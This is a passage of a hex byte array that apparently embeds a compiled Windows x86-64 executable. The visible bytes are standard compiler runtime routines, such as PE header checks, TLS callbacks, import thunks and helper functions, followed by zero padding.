A,0xFB,0xFF,0xFF,0x89,0x3E,0x4C,0x39,0xEB,0x72,0xE3,0xE9,0xCE,0xFE,0xFF,0xFF,0x89,0xCA,0x48,0x8D,0x0D,0x2D,0x39,0x00,0x00,0xE8,0xD0,0xFA,0xFF,0xFF,0x48,0x8D,0x0D,0xE9,0x38,0x00,0x00,0xE8,0xC4,0xFA,0xFF,0xFF,0x90,0x90,0x90,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8D,0x2D,0x88,0x8D,0x00,0x00,0x4C,0x89,0xE9,0xFF,0x15,0x5F,0xAC,0x00,0x00,0x48,0x8B,0x1D,0x58,0x8D,0x00,0x00,0x48,0x85,0xDB,0x74,0x38,0x4C,0x8B,0x25,0xB4,0xAC,0x00,0x00,0x48,0x8B,0x3D,0x4D,0xAC,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x0B,0x41,0xFF,0xD4,0x48,0x89,0xC6,0xFF,0xD7,0x48,0x85,0xF6,0x74,0x0D,0x85,0xC0,0x75,0x09,0x48,0x8B,0x43,0x08,0x48,0x89,0xF1,0xFF,0xD0,0x48,0x8B,0x5B,0x10,0x48,0x85,0xDB,0x75,0xDB,0x4C,0x89,0xE9,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0x48,0xFF,0x25,0x4D,0xAC,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0xF5,0x8C,0x00,0x00,0x89,0xCF,0x48,0x89,0xD6,0x85,0xC0,0x75,0x14,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xBA,0x18,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0xE8,0xB9,0x09,0x00,0x00,0x48,0x89,0xC3,0x48,0x85,0xC0,0x74,0x33,0x48,0x89,0x70,0x08,0x48,0x8D,0x35,0xCE,0x8C,0x00,0x00,0x89,0x38,0x48,0x89,0xF1,0xFF,0x15,0xA3,0xAB,0x00,0x00,0x48,0x8B,0x05,0x9C,0x8C,0x00,0x00,0x48,0x89,0xF1,0x48,0x89,0x1D,0x92,0x8C,0x00,0x00,0x48,0x89,0x43,0x10,0xFF,0x15,0xD0,0xAB,0x00,0x00,0xEB,0xA2,0x83,0xC8,0xFF,0xEB,0x9F,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0x76,0x8C,0x00,0x00,0x89,0xCB,0x85,0xC0,0x75,0x10,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8D,0x35,0x71,0x8C,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0x48,0xAB,0x00,0x00,0x48,0x8B,0x0D,0x41,0x8C,0x00,0x00,0x48,0x85,0xC9,0x74,0x2F,0x31,0xD2,0xEB,0x13,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xCA,0x48,0x85,0xC0,0x74,0x1B,0x48,0x89,0xC1,0x8B,0x01,0x39,0xD8,0x48,0x8B,0x41,0x10,0x75,0xEB,0x48,0x85,0xD2,0x74,0x26,0x48,0x89,0x42,0x10,0xE8,0x0D,0x09,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0x4C,0xAB,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0x05,0xE9,0x8B,0x00,0x00,0xEB,0xD5,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x83,0xFA,0x02,0x0F,0x84,0xAC,0x00,0x00,0x00,0x77,0x2A,0x85,0xD2,0x74,0x46,0x8B,0x05,0xC8,0x8B,0x00,0x00,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0xC7,0x05,0xB6,0x8B,0x00,0x00,0x01,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x66,0x90,0x83,0xFA,0x03,0x75,0xED,0x8B,0x05,0x9D,0x8B,0x00,0x00,0x85,0xC0,0x74,0xE3,0xE8,0x0C,0xFE,0xFF,0xFF,0xEB,0xDC,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x8B,0x05,0x82,0x8B,0x00,0x00,0x85,0xC0,0x75,0x6E,0x8B,0x05,0x78,0x8B,0x00,0x00,0x83,0xF8,0x01,0x75,0xBD,0x48,0x8B,0x1D,0x64,0x8B,0x00,0x00,0x48,0x85,0xDB,0x74,0x18,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x48,0x89,0xD9,0x48,0x8B,0x5B,0x10,0xE8,0x4C,0x08,0x00,0x00,0x48,0x85,0xDB,0x75,0xEF,0x48,0x8D,0x0D,0x60,0x8B,0x00,0x00,0x48,0xC7,0x05,0x35,0x8B,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x05,0x33,0x8B,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x15,0x1D,0xAA,0x00,0x00,0xE9,0x72,0xFF,0xFF,0xFF,0xE8,0x3B,0x04,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0x83,0xFD,0xFF,0xFF,0xEB,0x8B,0x90,0x48,0x8D,0x0D,0x19,0x8B,0x00,0x00,0xFF,0x15,0x33,0xAA,0x00,0x00,0xE9,0x36,0xFF,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x31,0xC0,0x66,0x81,0x39,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x51,0x3C,0x48,0x01,0xD1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x81,0x79,0x18,0x0B,0x02,0x0F,0x94,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x48,0x63,0x41,0x3C,0x48,0x01,0xC1,0x0F,0xB7,0x41,0x14,0x44,0x0F,0xB7,0x41,0x06,0x48,0x8D,0x44,0x01,0x18,0x66,0x45,0x85,0xC0,0x74,0x32,0x41,0x8D,0x48,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xC8,0x28,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC2,0x72,0x08,0x03,0x48,0x08,0x48,0x39,0xCA,0x72,0x0B,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCE,0xE8,0x9B,0x07,0x00,0x00,0x48,0x83,0xF8,0x08,0x77,0x7D,0x48,0x8B,0x15,0xDE,0x36,0x00,0x00,0x31,0xDB,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x5B,0x48,0x63,0x42,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x75,0x4C,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x44,0x0F,0xB7,0x50,0x14,0x48,0x8D,0x5C,0x10,0x18,0x0F,0xB7,0x50,0x06,0x66,0x85,0xD2,0x74,0x44,0x8D,0x42,0xFF,0x48,0x8D,0x04,0x80,0x48,0x8D,0x7C,0xC3,0x28,0xEB,0x0F,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x83,0xC3,0x28,0x48,0x39,0xFB,0x74,0x27,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xF2,0x48,0x89,0xD9,0xE8,0x36,0x07,0x00,0x00,0x85,0xC0,0x75,0xE2,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xDB,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x49,0x36,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x41,0x0F,0xB7,0x40,0x14,0x48,0x29,0xD1,0x49,0x8D,0x44,0x00,0x18,0x45,0x0F,0xB7,0x40,0x06,0x66,0x45,0x85,0xC0,0x74,0x34,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x4C,0x8D,0x4C,0xD0,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC2,0x4C,0x39,0xC1,0x72,0x08,0x03,0x50,0x08,0x48,0x39,0xD1,0x72,0xAC,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x48,0x8B,0x05,0xC9,0x35,0x00,0x00,0x31,0xC9,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x50,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x09,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x0F,0xB7,0x48,0x06,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x4C,0x8B,0x05,0x89,0x35,0x00,0x00,0x31,0xC0,0x66,0x41,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x49,0x63,0x50,0x3C,0x4C,0x01,0xC2,0x81,0x3A,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x81,0x7A,0x18,0x0B,0x02,0x75,0xF0,0x0F,0xB7,0x42,0x14,0x44,0x0F,0xB7,0x42,0x06,0x48,0x8D,0x44,0x02,0x18,0x66,0x45,0x85,0xC0,0x74,0x2C,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x48,0x8D,0x54,0xD0,0x28,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xF6,0x40,0x27,0x20,0x74,0x09,0x48,0x85,0xC9,0x74,0xBD,0x48,0x83,0xE9,0x01,0x48,0x83,0xC0,0x28,0x48,0x39,0xC2,0x75,0xE8,0x31,0xC0,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x48,0x8B,0x05,0x09,0x35,0x00,0x00,0x31,0xD2,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x48,0x3C,0x48,0x01,0xC1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x09,0x48,0x89,0xD0,0xC3,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x48,0x0F,0x44,0xD0,0x48,0x89,0xD0,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0xC9,0x34,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x48,0x29,0xD1,0x45,0x0F,0xB7,0x48,0x06,0x41,0x0F,0xB7,0x50,0x14,0x49,0x8D,0x54,0x10,0x18,0x66,0x45,0x85,0xC9,0x74,0xD7,0x41,0x8D,0x41,0xFF,0x48,0x8D,0x04,0x80,0x4C,0x8D,0x4C,0xC2,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC0,0x4C,0x39,0xC1,0x72,0x08,0x03,0x42,0x08,0x48,0x39,0xC1,0x72,0x0C,0x48,0x83,0xC2,0x28,0x4C,0x39,0xCA,0x75,0xE3,0x31,0xC0,0xC3,0x8B,0x42,0x24,0xF7,0xD0,0xC1,0xE8,0x1F,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x4C,0x8B,0x1D,0x39,0x34,0x00,0x00,0x45,0x31,0xC0,0x66,0x41,0x81,0x3B,0x4D,0x5A,0x41,0x89,0xCA,0x75,0x0F,0x49,0x63,0x4B,0x3C,0x4C,0x01,0xD9,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x0C,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x75,0xEC,0x8B,0x81,0x90,0x00,0x00,0x00,0x85,0xC0,0x74,0xE2,0x0F,0xB7,0x51,0x14,0x44,0x0F,0xB7,0x49,0x06,0x48,0x8D,0x54,0x11,0x18,0x66,0x45,0x85,0xC9,0x74,0xCE,0x41,0x8D,0x49,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xCA,0x28,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC0,0x72,0x08,0x03,0x4A,0x08,0x48,0x39,0xC8,0x72,0x14,0x48,0x83,0xC2,0x28,0x49,0x39,0xD1,0x75,0xE3,0x45,0x31,0xC0,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x4C,0x01,0xD8,0xEB,0x0B,0x0F,0x1F,0x00,0x41,0x83,0xEA,0x01,0x48,0x83,0xC0,0x14,0x8B,0x48,0x04,0x85,0xC9,0x75,0x07,0x8B,0x50,0x0C,0x85,0xD2,0x74,0xD7,0x45,0x85,0xD2,0x7F,0xE5,0x44,0x8B,0x40,0x0C,0x4D,0x01,0xD8,0x4C,0x89,0xC0,0xC3,0x90,0x90,0xDB,0xE3,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x51,0x50,0x48,0x3D,0x00,0x10,0x00,0x00,0x48,0x8D,0x4C,0x24,0x18,0x72,0x19,0x48,0x81,0xE9,0x00,0x10,0x00,0x00,0x48,0x83,0x09,0x00,0x48,0x2D,0x00,0x10,0x00,0x00,0x48,0x3D,0x00,0x10,0x00,0x00,0x77,0xE7,0x48,0x29,0xC1,0x48,0x83,0x09,0x00,0x58,0x59,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0x01,0x00,0x00,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x45,0x31,0xC0,0x48,0x89,0xC8,0x48,0x85,0xD2,0x75,0x14,0xEB,0x17,0x0F,0x1F,0x00,0x48,0x83,0xC0,0x01,0x49,0x89,0xC0,0x49,0x29,0xC8,0x49,0x39,0xD0,0x73,0x05,0x80,0x38,0x00,0x75,0xEC,0x4C,0x89,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x45,0x31,0xC0,0x48,0x89,0xD0,0x48,0x85,0xD2,0x75,0x0E,0xEB,0x17,0x0F,0x1F,0x00,0x49,0x83,0xC0,0x01,0x4C,0x39,0xC0,0x74,0x0B,0x66,0x42,0x83,0x3C,0x41,0x00,0x75,0xEF,0x4C,0x89,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xE9,0x6B,0x04,0x00,0x00,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x55,0x56,0x53,0x48,0x83,0xEC,0x30,0x48,0x8D,0x6C,0x24,0x30,0x48,0x8B,0x05,0x3D,0x13,0x00,0x00,0x48,0x89,0xD6,0x48,0x8D,0x15,0xE3,0xFF,0xFF,0xFF,0x48,0x89,0xCB,0x48,0x39,0xD0,0x74,0x13,0x48,0x89,0xF2,0x48,0x89,0xD9,0x48,0x83,0xC4,0x30,0x5B,0x5E,0x5D,0x48,0xFF,0xE0,0x0F,0x1F,0x00,0x4C,0x89,0x4D,0xF0,0x48,0x8D,0x0D,0xED,0x31,0x00,0x00,0x4C,0x89,0x45,0xF8,0xFF,0x15,0xD3,0xA4,0x00,0x00,0x48,0x8D,0x15,0xF2,0x31,0x00,0x00,0x48,0x89,0xC1,0xFF,0x15,0xCB,0xA4,0x00,0x00,0x4C,0x8B,0x4D,0xF0,0x4C,0x8B,0x45,0xF8,0x48,0x89,0xD9,0x48,0x85,0xC0,0x48,0x8D,0x15,0x7E,0xFF,0xFF,0xFF,0x48,0x0F,0x44,0xC2,0x48,0x89,0xF2,0x48,0x89,0x05,0xD0,0x12,0x00,0x00,0x48,0x83,0xC4,0x30,0x5B,0x5E,0x5D,0x48,0xFF,0xE0,0x66,0x0F,0x1F,0x44,0x00,0x00,0x55,0x56,0x53,0x48,0x83,0xEC,0x30,0x48,0x8D,0x6C,0x24,0x30,0x48,0x8B,0x05,0xAD,0x12,0x00,0x00,0x48,0x89,0xD6,0x48,0x8D,0x15,0x53,0xFF,0xFF,0xFF,0x48,0x89,0xCB,0x48,0x39,0xD0,0x74,0x13,0x48,0x89,0xF2,0x48,0x89,0xD9,0x48,0x83,0xC4,0x30,0x5B,0x5E,0x5D,0x48,0xFF,0xE0,0x0F,0x1F,0x00,0x4C,0x89,0x4D,0xF0,0x48,0x8D,0x0D,0x5D,0x31,0x00,0x00,0x4C,0x89,0x45,0xF8,0xFF,0x15,0x43,0xA4,0x00,0x00,0x48,0x8D,0x15,0x62,0x31,0x00,0x00,0x48,0x89,0xC1,0xFF,0x15,0x3B,0xA4,0x00,0x00,0x4C,0x8B,0x4D,0xF0,0x4C,0x8B,0x45,0xF8,0x48,0x89,0xD9,0x48,0x85,0xC0,0x48,0x8D,0x15,0xEE,0xFE,0xFF,0xFF,0x48,0x0F,0x44,0xC2,0x48,0x89,0xF2,0x48,0x89,0x05,0x40,0x12,0x00,0x00,0x48,0x83,0xC4,0x30,0x5B,0x5E,0x5D,0x48,0xFF,0xE0,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x89,0xCB,0xE8,0x8E,0x01,0x00,0x00,0x89,0xD9,0x48,0x8D,0x14,0x49,0x48,0xC1,0xE2,0x04,0x48,0x01,0xD0,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x48,0x85,0xC9,0x74,0x12,0x66,0x0F,0xEF,0xC0,0x31,0xC0,0x48,0xC7,0x41,0x10,0x00,0x00,0x00,0x00,0x0F,0x11,0x01,0xC3,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x0F,0x1F,0x00,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCB,0x48,0x89,0xD7,0x48,0x85,0xC9,0x0F,0x84,0xB2,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0xE8,0x40,0x01,0x00,0x00,0x48,0x83,0x3B,0x00,0x74,0x6A,0x48,0x8B,0x53,0x08,0x48,0x8B,0x43,0x10,0x48,0x39,0xC2,0x74,0x25,0x48,0x8D,0x42,0x08,0xB9,0x08,0x00,0x00,0x00,0x48,0x89,0x43,0x08,0x48,0x89,0x3A,0xE8,0x28,0x01,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8B,0x0B,0x48,0x89,0xD6,0x48,0x29,0xCE,0x49,0x89,0xF4,0x49,0xC1,0xFC,0x03,0x49,0xC1,0xE4,0x04,0x4C,0x89,0xE2,0xE8,0x5C,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x45,0x48,0x89,0x03,0x48,0x8D,0x14,0x30,0x4C,0x01,0xE0,0x48,0x89,0x43,0x10,0xEB,0xAA,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0xE8,0xF1,0x00,0x00,0x00,0x48,0x89,0x03,0x48,0x89,0xC2,0x48,0x85,0xC0,0x74,0x14,0x48,0x89,0x43,0x08,0x48,0x8D,0x80,0x00,0x01,0x00,0x00,0x48,0x89,0x43,0x10,0xE9,0x70,0xFF,0xFF,0xFF,0xB9,0x08,0x00,0x00,0x00,0xE8,0xA8,0x00,0x00,0x00,0x83,0xC8,0xFF,0xE9,0x7A,0xFF,0xFF,0xFF,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0xB9,0x08,0x00,0x00,0x00,0xE8,0x6E,0x00,0x00,0x00,0x48,0x8B,0x37,0x66,0x0F,0xEF,0xC0,0x48,0x8B,0x5F,0x08,0x48,0xC7,0x47,0x10,0x00,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0x0F,0x11,0x07,0xE8,0x5E,0x00,0x00,0x00,0x48,0x85,0xF6,0x74,0x24,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x72,0x13,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0xEF,0xFF,0xD0,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x73,0xED,0x48,0x89,0xF1,0xE8,0x5D,0x00,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0xA2,0x00,0x00,0x90,0x90,0xFF,0x25,0xCA,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0xBA,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0xAA,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x9A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x8A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x7A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x6A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x4A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x3A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x2A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x1A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0x0A,0xA1,0x00,0x00,0x90,0x90,0xFF,0x25,0xFA,0xA0,0x00,0x00,0x90,0x90,0xFF,0x25,0xEA,0xA0,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0xA0,0x00,0x00,0x90,0x90,0xFF,0x25,0xCA,0xA0,0x00,0x00,0x90,0x90,0xFF,0x25,0xBA,0xA0,0x00,0x00,0x90,0x90,0xFF,0x25,0xAA,0xA0,0x00,0x00,0x90,0x90,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x49,0x89,0xCC,0x48,0x89,0xD3,0x4C,0x89,0xC6,0x4C,0x89,0xCF,0x48,0x85,0xD2,0x75,0x18,0x48,0x89,0xFA,0x48,0x89,0xF1,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x5D,0xE9,0x5B,0xFE,0xFF,0xFF,0x0F,0x1F,0x00,0xE8,0x33,0x00,0x00,0x00,0x85,0xC0,0x78,0x17,0x48,0x63,0xD0,0x48,0x39,0xDA,0x74,0x17,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0x41,0xC6,0x44,0x1C,0xFF,0x00,0xEB,0xC0,0x41,0xC6,0x44,0x14,0xFF,0x00,0xEB,0xE1,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0x25,0x02,0xA1,0x00,0x00,0x90,0x90,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xE9,0x9B,0x21,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xD0,0xF1,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0